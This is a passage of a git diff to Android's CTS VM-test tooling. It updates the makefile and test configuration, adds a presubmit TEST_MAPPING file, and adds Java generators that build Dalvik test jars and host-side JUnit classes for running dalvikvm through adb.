+    $(call intermediates-dir-for,JAVA_LIBRARIES,cts-vmtests-dot,HOST,COMMON)/classes.jar
+
+vmtests_generated_resources_jar := \
+    $(call intermediates-dir-for,JAVA_LIBRARIES,vmtests-generated-resources,HOST)/javalib.jar
+vmtests_mains_generated_jar := \
+    $(call intermediates-dir-for,JAVA_LIBRARIES,vmtests-mains,,COMMON)/javalib.jar
 
 $(LOCAL_BUILT_MODULE): PRIVATE_SRC_FOLDER := $(LOCAL_PATH)/src
 $(LOCAL_BUILT_MODULE): PRIVATE_INTERMEDIATES_CLASSES := $(call intermediates-dir-for,JAVA_LIBRARIES,cts-tf-dalvik-buildutil,HOST)/classes
 $(LOCAL_BUILT_MODULE): PRIVATE_INTERMEDIATES := $(intermediates)/tests
 $(LOCAL_BUILT_MODULE): PRIVATE_INTERMEDIATES_DEXCORE_JAR := $(intermediates)/tests/dot/junit/dexcore.jar
-$(LOCAL_BUILT_MODULE): PRIVATE_INTERMEDIATES_MAIN_FILES := $(intermediates)/main_files
-$(LOCAL_BUILT_MODULE): PRIVATE_INTERMEDIATES_HOSTJUNIT_FILES := $(intermediates)/hostjunit_files
 $(LOCAL_BUILT_MODULE): PRIVATE_CLASS_PATH := $(call normalize-path-list, $(vmteststf_dep_jars))
-oj_jar := $(call intermediates-dir-for,JAVA_LIBRARIES,core-oj,,COMMON)/classes.jar
-libart_jar := $(call intermediates-dir-for,JAVA_LIBRARIES,core-libart,,COMMON)/classes.jar
-$(LOCAL_BUILT_MODULE): PRIVATE_DALVIK_SUITE_CLASSPATH := $(oj_jar):$(libart_jar):$(cts-tf-dalvik-lib.jar):$(HOST_OUT_JAVA_LIBRARIES)/tradefed.jar:
-$(LOCAL_BUILT_MODULE) : $(vmteststf_dep_jars) $(HOST_OUT_JAVA_LIBRARIES)/tradefed.jar $(DX)
+$(LOCAL_BUILT_MODULE): PRIVATE_VMTESTS_GENERATED_RESOURCES := $(vmtests_generated_resources_jar)
+$(LOCAL_BUILT_MODULE): PRIVATE_VMTESTS_MAINS_GENERATED := $(vmtests_mains_generated_jar)
+$(LOCAL_BUILT_MODULE) : $(vmteststf_dep_jars) $(HOST_OUT_JAVA_LIBRARIES)/tradefed.jar $(DX) $(vmtests_generated_resources_jar) $(vmtests_mains_generated_jar)
 	$(hide) rm -rf $(dir $@) && mkdir -p $(dir $@)
-	$(hide) mkdir -p $(PRIVATE_INTERMEDIATES_HOSTJUNIT_FILES)/dot/junit $(dir $(PRIVATE_INTERMEDIATES_DEXCORE_JAR))
+	$(hide) mkdir -p $(dir $(PRIVATE_INTERMEDIATES_DEXCORE_JAR))
 	# generated and compile the host side junit tests
-	@echo "Write generated Main_*.java files to $(PRIVATE_INTERMEDIATES_MAIN_FILES)"
+	@echo "Write generated Main_*.java"
 	$(hide) $(JAVA) \
 	    -cp $(PRIVATE_CLASS_PATH) util.build.BuildDalvikSuite $(PRIVATE_SRC_FOLDER) $(PRIVATE_INTERMEDIATES) \
-		$(PRIVATE_DALVIK_SUITE_CLASSPATH) \
-		$(PRIVATE_INTERMEDIATES_MAIN_FILES) $(PRIVATE_INTERMEDIATES_CLASSES) $(PRIVATE_INTERMEDIATES_HOSTJUNIT_FILES) $$RUN_VM_TESTS_RTO
+		$(PRIVATE_INTERMEDIATES_CLASSES)
 	@echo "Generate $(PRIVATE_INTERMEDIATES_DEXCORE_JAR)"
 	$(hide) $(JAR) -cf $(PRIVATE_INTERMEDIATES_DEXCORE_JAR)-class.jar \
 		$(addprefix -C $(PRIVATE_INTERMEDIATES_CLASSES) , dot/junit/DxUtil.class dot/junit/DxAbstractMain.class dot/junit/AssertionFailedException.class)
 	$(hide) mkdir -p $(PRIVATE_INTERMEDIATES_DEXCORE_JAR).tmp
-ifneq ($(USE_D8_DESUGAR),true)
-	$(hide) $(DX_COMMAND) --dex --output=$(PRIVATE_INTERMEDIATES_DEXCORE_JAR).tmp \
-		$(if $(NO_OPTIMIZE_DX), --no-optimize) $(PRIVATE_INTERMEDIATES_DEXCORE_JAR)-class.jar && rm -f $(PRIVATE_INTERMEDIATES_DEXCORE_JAR).jar
-else
 	$(hide) $(DX_COMMAND) --output $(PRIVATE_INTERMEDIATES_DEXCORE_JAR).tmp \
 		$(if $(NO_OPTIMIZE_DX), --debug) $(PRIVATE_INTERMEDIATES_DEXCORE_JAR)-class.jar && rm -f $(PRIVATE_INTERMEDIATES_DEXCORE_JAR).jar
-endif
 	$(hide) cd $(PRIVATE_INTERMEDIATES_DEXCORE_JAR).tmp && zip -q -r $(abspath $(PRIVATE_INTERMEDIATES_DEXCORE_JAR)) .
-	$(hide) cd $(PRIVATE_INTERMEDIATES_HOSTJUNIT_FILES)/classes && zip -q -r ../../$(notdir $@) .
+	$(hide) cp $(PRIVATE_VMTESTS_GENERATED_RESOURCES) $@
+	$(hide) cp $(PRIVATE_VMTESTS_MAINS_GENERATED) $(dir $@)/tests/mains.jar
 	$(hide) cd $(dir $@) && zip -q -r $(notdir $@) tests
-oj_jar :=
-libart_jar :=
 
 # Clean up temp vars
 intermediates :=
 vmteststf_dep_jars :=
+vmtests_generated_resources_jar :=
+vmtests_mains_generated_jar :=
 
 include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tools/vm-tests-tf/AndroidTest.xml b/tools/vm-tests-tf/AndroidTest.xml
index fc0f8af..227a340 100644
--- a/tools/vm-tests-tf/AndroidTest.xml
+++ b/tools/vm-tests-tf/AndroidTest.xml
@@ -15,8 +15,10 @@
 -->
 <configuration description="Config for CTS VM test cases">
     <option name="test-suite-tag" value="cts" />
+    <!-- Jar test -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="component" value="art" />
-    <option name="not-strict-shardable" value= "true" />
     <target_preparer class="android.core.vm.targetprep.VmTestPreparer" />
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="android.core.vm-tests-tf.jar" />
diff --git a/tools/vm-tests-tf/TEST_MAPPING b/tools/vm-tests-tf/TEST_MAPPING
new file mode 100644
index 0000000..a566107
--- /dev/null
+++ b/tools/vm-tests-tf/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "vm-tests-tf"
+    }
+  ]
+}
diff --git a/tools/vm-tests-tf/build/src/util/build/BuildCTSHostSources.java b/tools/vm-tests-tf/build/src/util/build/BuildCTSHostSources.java
new file mode 100644
index 0000000..bcdcd49
--- /dev/null
+++ b/tools/vm-tests-tf/build/src/util/build/BuildCTSHostSources.java
@@ -0,0 +1,239 @@
+/*
+ * Copyright (C) 2011 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package util.build;
+
+import java.io.File;
+import java.io.IOException;
+import java.util.Collection;
+import java.util.Collections;
+import java.util.Comparator;
+import java.util.List;
+
+/**
+ * Main class to generate data from the test suite to later run from a shell
+ * script. the project's home folder.<br>
+ * <project-home>/src must contain the java sources<br>
+ * <project-home>/src/<for-each-package>/Main_testN1.java will be generated<br>
+ * (one Main class for each test method in the Test_... class
+ */
+public class BuildCTSHostSources extends BuildUtilBase {
+
+    public static final String TARGET_MAIN_FILE = "mains.jar";
+
+    // the folder for the generated junit-files for the cts host (which in turn
+    // execute the real vm tests using adb push/shell etc)
+    private static String HOSTJUNIT_SRC_OUTPUT_FOLDER = "";
+
+    private static final String TARGET_JAR_ROOT_PATH = "/data/local/tmp/vm-tests";
+
+    /**
+     * @param args
+     *            args 0 must be the project root folder (where src, lib etc.
+     *            resides)
+     * @throws IOException
+     */
+    public static void main(String[] args) throws IOException {
+        BuildCTSHostSources cat = new BuildCTSHostSources();
+
+        if (!cat.parseArgs(args)) {
+          printUsage();
+          System.exit(-1);
+        }
+
+        long start = System.currentTimeMillis();
+        cat.run(cat::handleTest);
+        long end = System.currentTimeMillis();
+
+        System.out.println("elapsed seconds: " + (end - start) / 1000);
+    }
+
+    private boolean parseArgs(String[] args) {
+      if (args.length == 1) {
+          HOSTJUNIT_SRC_OUTPUT_FOLDER = args[0];
+          return true;
+      } else {
+          return false;
+      }
+    }
+
+    private static void printUsage() {
+        System.out.println("usage: java-src-folder output-folder classpath " +
+                           "generated-main-files compiled_output generated-main-files " +
+                           "[restrict-to-opcode]");
+    }
+
+    private static class HostState {
+        private String fileName;
+        private StringBuilder fileData;
+
+        public HostState(String fileName) {
+            this.fileName = fileName;
+            fileData = new StringBuilder();
+        }
+
+        public void append(String s) {
+            fileData.append(s);
+        }
+
+        private void addCTSHostMethod(String pName, String method,
+                Collection<String> dependentTestClassNames) {
+            fileData.append("public void " + method + "() throws Exception {\n");
+            final String targetCoreJarPath = String.format("%s/dot/junit/dexcore.jar",
+                    TARGET_JAR_ROOT_PATH);
+
+            String mainsJar = String.format("%s/%s", TARGET_JAR_ROOT_PATH, TARGET_MAIN_FILE);
+
+            String cp = String.format("%s:%s", targetCoreJarPath, mainsJar);
+            for (String depFqcn : dependentTestClassNames) {
+                String sourceName = depFqcn.replaceAll("\\.", "/") + ".jar";
+                String targetName= String.format("%s/%s", TARGET_JAR_ROOT_PATH,
+                        sourceName);
+                cp += ":" + targetName;
+                // dot.junit.opcodes.invoke_interface_range.ITest
+                // -> dot/junit/opcodes/invoke_interface_range/ITest.jar
+            }
+
+            //"dot.junit.opcodes.add_double_2addr.Main_testN2";
+            String mainclass = pName + ".Main_" + method;
+            fileData.append(getShellExecJavaLine(cp, mainclass));
+            fileData.append("\n}\n\n");
+        }
+
+        public void end() {
+            fileData.append("\n}\n");
+        }
+
+        public File getFileToWrite() {
+            return new File(fileName);
+        }
+        public String getData() {
+            return fileData.toString();
+        }
+    }
+
+    private void flushHostState(HostState state) {
+        state.end();
+
+        File toWrite = state.getFileToWrite();
+        writeToFileMkdir(toWrite, state.getData());
+    }
+
+    private HostState openCTSHostFileFor(String pName, String classOnlyName) {
+        String sourceName = classOnlyName;
+
+        String modPackage = pName;
+        {
+            // Given a class name of "Test_zzz" and a package of "xxx.yyy.zzz," strip
+            // "zzz" from the package to reduce duplication (and dashboard clutter).
+            int lastDot = modPackage.lastIndexOf('.');
+            if (lastDot > 0) {
+                String lastPackageComponent = modPackage.substring(lastDot + 1);
+                if (classOnlyName.equals("Test_" + lastPackageComponent)) {
+                    // Drop the duplication.
+                    modPackage = modPackage.substring(0, lastDot);
+                }
+            }
+        }
+
+        String fileName = HOSTJUNIT_SRC_OUTPUT_FOLDER + "/" + modPackage.replaceAll("\\.", "/")
+                + "/" + sourceName + ".java";
+
+        HostState newState = new HostState(fileName);
+
+        newState.append(getWarningMessage());
+        newState.append("package " + modPackage + ";\n");
+        newState.append("import java.io.IOException;\n" +
+                "import java.util.concurrent.TimeUnit;\n\n" +
+                "import com.android.tradefed.device.CollectingOutputReceiver;\n" +
+                "import com.android.tradefed.testtype.IAbi;\n" +
+                "import com.android.tradefed.testtype.IAbiReceiver;\n" +
+                "import com.android.tradefed.testtype.DeviceTestCase;\n" +
+                "import com.android.tradefed.util.AbiFormatter;\n" +
+                "\n");
+        newState.append("public class " + sourceName + " extends DeviceTestCase implements " +
+                "IAbiReceiver {\n");
+
+        newState.append("\n" +
+                "protected IAbi mAbi;\n" +
+                "@Override\n" +
+                "public void setAbi(IAbi abi) {\n" +
+                "    mAbi = abi;\n" +
+                "}\n\n");
+
+        return newState;
+    }
+
+    private static String getShellExecJavaLine(String classpath, String mainclass) {
+      String cmd = String.format("ANDROID_DATA=%s dalvikvm|#ABI#| -Xmx512M -Xss32K " +
+              "-Djava.io.tmpdir=%s -classpath %s %s", TARGET_JAR_ROOT_PATH, TARGET_JAR_ROOT_PATH,
+              classpath, mainclass);
+      StringBuilder code = new StringBuilder();
+      code.append("    String cmd = AbiFormatter.formatCmdForAbi(\"")
+          .append(cmd)
+          .append("\", mAbi.getBitness());\n")
+          .append("    CollectingOutputReceiver receiver = new CollectingOutputReceiver();\n")
+          .append("    getDevice().executeShellCommand(cmd, receiver, 6, TimeUnit.MINUTES, 1);\n")
+          .append("    // A sucessful adb shell command returns an empty string.\n")
+          .append("    assertEquals(cmd, \"\", receiver.getOutput());");
+      return code.toString();
+    }
+
+    private String getWarningMessage() {
+        return "//Autogenerated code by " + this.getClass().getName() + "; do not edit.\n";
+    }
+
+    private void handleTest(String fqcn, List<String> methods) {
+        int lastDotPos = fqcn.lastIndexOf('.');
+        String pName = fqcn.substring(0, lastDotPos);
+        String classOnlyName = fqcn.substring(lastDotPos + 1);
+
+        HostState hostState = openCTSHostFileFor(pName, classOnlyName);
+
+        Collections.sort(methods, new Comparator<String>() {
+            @Override
+            public int compare(String s1, String s2) {
+                // TODO sort according: test ... N, B, E, VFE
+                return s1.compareTo(s2);
+            }
+        });
+        for (String method : methods) {
+            // e.g. testN1
+            if (!method.startsWith("test")) {
+                throw new RuntimeException("no test method: " + method);
+            }
+
+            // generate the Main_xx java class
+
+            // a Main_testXXX.java contains:
+            // package <packagenamehere>;
+            // public class Main_testxxx {
+            // public static void main(String[] args) {
+            // new dxc.junit.opcodes.aaload.Test_aaload().testN1();
+            // }
+            // }
+            MethodData md = parseTestMethod(pName, classOnlyName, method);
+            String methodContent = md.methodBody;
+
+            List<String> dependentTestClassNames = parseTestClassName(pName,
+                    classOnlyName, methodContent);
+
+            hostState.addCTSHostMethod(pName, method, dependentTestClassNames);
+        }
+
+        flushHostState(hostState);
+    }
+}
diff --git a/tools/vm-tests-tf/build/src/util/build/BuildCTSMainsSources.java b/tools/vm-tests-tf/build/src/util/build/BuildCTSMainsSources.java
new file mode 100644
index 0000000..601d575
--- /dev/null
+++ b/tools/vm-tests-tf/build/src/util/build/BuildCTSMainsSources.java
@@ -0,0 +1,146 @@
+/*
+ * Copyright (C) 2011 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package util.build;
+
+import java.io.File;
+import java.io.IOException;
+import java.util.Collections;
+import java.util.Comparator;
+import java.util.List;
+
+/**
+ * Main class to generate data from the test suite to later run from a shell
+ * script. the project's home folder.<br>
+ * <project-home>/src must contain the java sources<br>
+ * <project-home>/src/<for-each-package>/Main_testN1.java will be generated<br>
+ * (one Main class for each test method in the Test_... class
+ */
+public class BuildCTSMainsSources extends BuildUtilBase {
+
+    private String MAIN_SRC_OUTPUT_FOLDER = "";
+
+    /**
+     * @param args
+     *            args 0 must be the project root folder (where src, lib etc.
+     *            resides)
+     * @throws IOException
+     */
+    public static void main(String[] args) throws IOException {
+        BuildCTSMainsSources cat = new BuildCTSMainsSources();
+        if (!cat.parseArgs(args)) {
+          printUsage();
+          System.exit(-1);
+        }
+
+        long start = System.currentTimeMillis();
+        cat.run(cat::handleTest);
+        long end = System.currentTimeMillis();
+
+        System.out.println("elapsed seconds: " + (end - start) / 1000);
+    }
+
+    private boolean parseArgs(String[] args) {
+      if (args.length == 1) {
+          MAIN_SRC_OUTPUT_FOLDER = args[0];
+          return true;
+      } else {
+          return false;
+      }
+    }
+
+    private static void printUsage() {
+        System.out.println("usage: java-src-folder output-folder classpath " +
+                           "generated-main-files compiled_output");
+    }
+
+    private String getWarningMessage() {
+        return "//Autogenerated code by " + this.getClass().getName() + "; do not edit.\n";
+    }
+
+    private void handleTest(String fqcn, List<String> methods) {
+        int lastDotPos = fqcn.lastIndexOf('.');
+        String pName = fqcn.substring(0, lastDotPos);
+        String classOnlyName = fqcn.substring(lastDotPos + 1);
+
+        Collections.sort(methods, new Comparator<String>() {
+            @Override
+            public int compare(String s1, String s2) {
+                // TODO sort according: test ... N, B, E, VFE
+                return s1.compareTo(s2);
+            }
+        });
+        for (String method : methods) {
+            // e.g. testN1
+            if (!method.startsWith("test")) {
+                throw new RuntimeException("no test method: " + method);
+            }
+
+            // generate the Main_xx java class
+
+            // a Main_testXXX.java contains:
+            // package <packagenamehere>;
+            // public class Main_testxxx {
+            // public static void main(String[] args) {
+            // new dxc.junit.opcodes.aaload.Test_aaload().testN1();
+            // }
+            // }
+            MethodData md = parseTestMethod(pName, classOnlyName, method);
+            String methodContent = md.methodBody;
+
+            List<String> dependentTestClassNames = parseTestClassName(pName,
+                    classOnlyName, methodContent);
+
+            if (dependentTestClassNames.isEmpty()) {
+                continue;
+            }
+
+            String content = getWarningMessage() +
+                    "package " + pName + ";\n" +
+                    "import " + pName + ".d.*;\n" +
+                    "import dot.junit.*;\n" +
+                    "public class Main_" + method + " extends DxAbstractMain {\n" +
+                    "    public static void main(String[] args) throws Exception {" +
+                    methodContent + "\n}\n";
+
+            File sourceFile;
+            try {
+                sourceFile = getFileFromPackage(pName, method);
+            } catch (IOException e) {
+                throw new RuntimeException(e);
+            }
+
+            writeToFile(sourceFile, content);
+        }
+    }
+
+    private File getFileFromPackage(String pname, String methodName) throws IOException {
+        // e.g. dxc.junit.argsreturns.pargsreturn
+        String path = getFileName(pname, methodName, ".java");
+        String absPath = MAIN_SRC_OUTPUT_FOLDER + "/" + path;
+        File dirPath = new File(absPath);
+        File parent = dirPath.getParentFile();
+        if (!parent.exists() && !parent.mkdirs()) {
+            throw new IOException("failed to create directory: " + absPath);
+        }
+        return dirPath;
+    }
+
+    private String getFileName(String pname, String methodName, String extension) {
+        String path = pname.replaceAll("\\.", "/");
+        return new File(path, "Main_" + methodName + extension).getPath();
+    }
+}
diff --git a/tools/vm-tests-tf/build/src/util/build/BuildDalvikSuite.java b/tools/vm-tests-tf/build/src/util/build/BuildDalvikSuite.java
new file mode 100644
index 0000000..0b069b5
--- /dev/null
+++ b/tools/vm-tests-tf/build/src/util/build/BuildDalvikSuite.java
@@ -0,0 +1,329 @@
+/*
+ * Copyright (C) 2011 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package util.build;
+
+import java.io.File;
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.Collections;
+import java.util.Comparator;
+import java.util.List;
+import java.util.Set;
+import java.util.TreeSet;
+
+/**
+ * Main class to generate data from the test suite to later run from a shell
+ * script. the project's home folder.<br>
+ * <project-home>/src must contain the java sources<br>
+ * <project-home>/src/<for-each-package>/Main_testN1.java will be generated<br>
+ * (one Main class for each test method in the Test_... class
+ */
+public class BuildDalvikSuite extends BuildUtilBase {
+
+    public static final String TARGET_MAIN_FILE = "mains.jar";
+
+    // the folder for the generated junit-files for the cts host (which in turn
+    // execute the real vm tests using adb push/shell etc)
+    private String OUTPUT_FOLDER = "";
+    private String COMPILED_CLASSES_FOLDER = "";
+
+    private String JAVASRC_FOLDER;
+
+    /**
+     * @param args
+     *            args 0 must be the project root folder (where src, lib etc.
+     *            resides)
+     * @throws IOException
+     */
+    public static void main(String[] args) throws IOException {
+        BuildDalvikSuite cat = new BuildDalvikSuite();
+        if (!cat.parseArgs(args)) {
+          printUsage();
+          System.exit(-1);
+        }
+
+        long start = System.currentTimeMillis();
+        cat.run(null);
+        long end = System.currentTimeMillis();
+
+        System.out.println("elapsed seconds: " + (end - start) / 1000);
+    }
+
+    private boolean parseArgs(String[] args) {
+      if (args.length == 3) {
+          JAVASRC_FOLDER = args[0];
+          OUTPUT_FOLDER = args[1];
+          COMPILED_CLASSES_FOLDER = args[2];
+          return true;
+      } else {
+          return false;
+      }
+    }
+
+    private static void printUsage() {
+        System.out.println("usage: java-src-folder output-folder classpath " +
+                           "generated-main-files compiled_output");
+    }
+
+    class MyTestHandler implements TestHandler {
+        public String datafileContent = "";
+        Set<BuildStep> targets = new TreeSet<BuildStep>();
+
+        @Override
+        public void handleTest(String fqcn, List<String> methods) {
+            int lastDotPos = fqcn.lastIndexOf('.');
+            String pName = fqcn.substring(0, lastDotPos);
+            String classOnlyName = fqcn.substring(lastDotPos + 1);
+
+            Collections.sort(methods, new Comparator<String>() {
+                @Override
+                public int compare(String s1, String s2) {
+                    // TODO sort according: test ... N, B, E, VFE
+                    return s1.compareTo(s2);
+                }
+            });
+            for (String method : methods) {
+                // e.g. testN1
+                if (!method.startsWith("test")) {
+                    throw new RuntimeException("no test method: " + method);
+                }
+
+                // generate the Main_xx java class
+
+                // a Main_testXXX.java contains:
+                // package <packagenamehere>;
+                // public class Main_testxxx {
+                // public static void main(String[] args) {
+                // new dxc.junit.opcodes.aaload.Test_aaload().testN1();
+                // }
+                // }
+                MethodData md = parseTestMethod(pName, classOnlyName, method);
+                String methodContent = md.methodBody;
+
+                List<String> dependentTestClassNames = parseTestClassName(pName,
+                        classOnlyName, methodContent);
+
+                if (dependentTestClassNames.isEmpty()) {
+                    continue;
+                }
+
+                // prepare the entry in the data file for the bash script.
+                // e.g.
+                // main class to execute; opcode/constraint; test purpose
+                // dxc.junit.opcodes.aaload.Main_testN1;aaload;normal case test
+                // (#1)
+
+                char ca = method.charAt("test".length()); // either N,B,E,
+                // or V (VFE)
+                String comment;
+                switch (ca) {
+                case 'N':
+                    comment = "Normal #" + method.substring(5);
+                    break;
+                case 'B':
+                    comment = "Boundary #" + method.substring(5);
+                    break;
+                case 'E':
+                    comment = "Exception #" + method.substring(5);
+                    break;
+                case 'V':
+                    comment = "Verifier #" + method.substring(7);
+                    break;
+                default:
+                    throw new RuntimeException("unknown test abbreviation:"
+                            + method + " for " + fqcn);
+                }
+
+                String line = pName + ".Main_" + method + ";";
+                for (String className : dependentTestClassNames) {
+                    line += className + " ";
+                }
+
+
+                // test description
+                String[] pparts = pName.split("\\.");
+                // detail e.g. add_double
+                String detail = pparts[pparts.length-1];
+                // type := opcode | verify
+                String type = pparts[pparts.length-2];
+
+                String description;
+                if ("format".equals(type)) {
+                    description = "format";
+                } else if ("opcodes".equals(type)) {
+                    // Beautify name, so it matches the actual mnemonic
+                    detail = detail.replaceAll("_", "-");
+                    detail = detail.replace("-from16", "/from16");
+                    detail = detail.replace("-high16", "/high16");
+                    detail = detail.replace("-lit8", "/lit8");
+                    detail = detail.replace("-lit16", "/lit16");
+                    detail = detail.replace("-4", "/4");
+                    detail = detail.replace("-16", "/16");
+                    detail = detail.replace("-32", "/32");
+                    detail = detail.replace("-jumbo", "/jumbo");
+                    detail = detail.replace("-range", "/range");
+                    detail = detail.replace("-2addr", "/2addr");
+
+                    // Unescape reserved words
+                    detail = detail.replace("opc-", "");
+
+                    description = detail;
+                } else if ("verify".equals(type)) {
+                    description = "verifier";
+                } else {
+                    description = type + " " + detail;
+                }
+
+                String details = (md.title != null ? md.title : "");
+                if (md.constraint != null) {
+                    details = " Constraint " + md.constraint + ", " + details;
+                }
+                if (details.length() != 0) {
+                    details = details.substring(0, 1).toUpperCase()
+                            + details.substring(1);
+                }
+
+                line += ";" + description + ";" + comment + ";" + details;
+
+                datafileContent += line + "\n";
+                generateBuildStepFor(dependentTestClassNames, targets);
+            }
+        }
+    }
+
+    @Override
+    protected void handleTests(JUnitTestCollector tests, TestHandler ignored) {
+        MyTestHandler handler = new MyTestHandler();
+        super.handleTests(tests, handler);
+
+        File scriptDataDir = new File(OUTPUT_FOLDER + "/data/");
+        scriptDataDir.mkdirs();
+        writeToFile(new File(scriptDataDir, "scriptdata"), handler.datafileContent);
+
+        for (BuildStep buildStep : handler.targets) {
+            if (!buildStep.build()) {
+                System.out.println("building failed. buildStep: " +
+                        buildStep.getClass().getName() + ", " + buildStep);
+                System.exit(1);
+            }
+        }
+    }
+
+    private void generateBuildStepFor(Collection<String> dependentTestClassNames,
+            Set<BuildStep> targets) {
+        for (String dependentTestClassName : dependentTestClassNames) {
+            generateBuildStepForDependant(dependentTestClassName, targets);
+        }
+    }
+
+    private void generateBuildStepForDependant(String dependentTestClassName,
+            Set<BuildStep> targets) {
+
+        File sourceFolder = new File(JAVASRC_FOLDER);
+        String fileName = dependentTestClassName.replace('.', '/').trim();
+
+        if (new File(sourceFolder, fileName + ".dfh").exists()) {
+            // Handled in vmtests-dfh-dex-generated build rule.
+            return;
+        }
+
+        if (new File(sourceFolder, fileName + ".d").exists()) {
+            // Handled in vmtests-dasm-dex-generated build rule.
+            return;
+        }
+
+        {
+            // Build dex from a single '*.smali' file or a *.smalis' dir
+            // containing multiple smali files.
+            File dexFile = null;
+            SmaliBuildStep buildStep = null;
+            File smaliFile = new File(sourceFolder, fileName + ".smali");
+            File smalisDir = new File(sourceFolder, fileName + ".smalis");
+
+            if (smaliFile.exists()) {
+                dexFile = new File(OUTPUT_FOLDER, fileName + ".dex");
+                buildStep = new SmaliBuildStep(
+                    Collections.singletonList(smaliFile.getAbsolutePath()), dexFile);
+            } else if (smalisDir.exists() && smalisDir.isDirectory()) {
+                List<String> inputFiles = new ArrayList<>();
+                for (File f: smalisDir.listFiles()) {
+                    inputFiles.add(f.getAbsolutePath());
+                }
+                dexFile = new File(OUTPUT_FOLDER, fileName + ".dex");
+                buildStep = new SmaliBuildStep(inputFiles, dexFile);
+            }
+
+            if (buildStep != null) {
+                BuildStep.BuildFile jarFile = new BuildStep.BuildFile(
+                        OUTPUT_FOLDER, fileName + ".jar");
+                JarBuildStep jarBuildStep = new JarBuildStep(new BuildStep.BuildFile(dexFile),
+                        "classes.dex", jarFile, true);
+                jarBuildStep.addChild(buildStep);
+                targets.add(jarBuildStep);
+                return;
+            }
+        }
+
+        File srcFile = new File(sourceFolder, fileName + ".java");
+        if (srcFile.exists()) {
+            BuildStep dexBuildStep;
+            dexBuildStep = generateDexBuildStep(
+              COMPILED_CLASSES_FOLDER, fileName);
+            targets.add(dexBuildStep);
+            return;
+        }
+
+        try {
+            if (Class.forName(dependentTestClassName) != null) {
+                BuildStep dexBuildStep = generateDexBuildStep(
+                    COMPILED_CLASSES_FOLDER, fileName);
+                targets.add(dexBuildStep);
+                return;
+            }
+        } catch (ClassNotFoundException e) {
+            // do nothing
+        }
+
+        throw new RuntimeException("neither .dfh,.d,.java file of dependant test class found : " +
+                dependentTestClassName + ";" + fileName);
+    }
+
+    private BuildStep generateDexBuildStep(String classFileFolder,
+            String classFileName) {
+        BuildStep.BuildFile classFile = new BuildStep.BuildFile(
+                classFileFolder, classFileName + ".class");
+
+        BuildStep.BuildFile tmpJarFile = new BuildStep.BuildFile(
+                OUTPUT_FOLDER,
+                classFileName + "_tmp.jar");
+
+        JarBuildStep jarBuildStep = new JarBuildStep(classFile,
+                classFileName + ".class", tmpJarFile, false);
+
+        BuildStep.BuildFile outputFile = new BuildStep.BuildFile(
+                OUTPUT_FOLDER,
+                classFileName + ".jar");
+
+        D8BuildStep dexBuildStep = new D8BuildStep(tmpJarFile,
+                outputFile,
+                true);
+
+        dexBuildStep.addChild(jarBuildStep);
+        return dexBuildStep;
+    }
+}
diff --git a/tools/vm-tests-tf/build/src/util/build/BuildStep.java b/tools/vm-tests-tf/build/src/util/build/BuildStep.java
new file mode 100644
index 0000000..508e969
--- /dev/null
+++ b/tools/vm-tests-tf/build/src/util/build/BuildStep.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2008 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package util.build;
+
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.nio.channels.FileChannel;
+import java.util.HashSet;
+import java.util.Set;
+
+abstract class BuildStep implements Comparable<BuildStep> {
+
+    BuildFile inputFile;
+    BuildFile outputFile;
+
+    static class BuildFile {
+        final File folder;
+        final File fileName;
+
+        BuildFile(String folder, String fileName) {
+            this.folder = new File(folder);
+            this.fileName = new File(this.folder, fileName);
+        }
+        BuildFile(File file) {
+            this.folder = file.getParentFile();
+            this.fileName = file;
+        }
+
+        String getPath() {
+            return fileName.getAbsolutePath();
+        }
+
+        @Override
+        public int hashCode() {
+            return fileName.hashCode();
+        }
+
+        @Override
+        public boolean equals(Object obj) {
+            if (obj == null) return false;
+            if (this == obj) return true;
+            if (getClass() == obj.getClass()) {
+                BuildFile other = (BuildFile) obj;
+                return fileName.equals(other.fileName);
+            }
+            return false;
+        }
+    }
+
+    BuildStep(BuildFile inputFile, BuildFile outputFile) {
+        if (inputFile == null) {
+            throw new NullPointerException("inputFile is null");
+        }
+        if (outputFile == null) {
+            throw new NullPointerException("outputFile is null");
+        }
+        this.inputFile = inputFile;
+        this.outputFile = outputFile;
+    }
+
+    BuildStep(File output) {
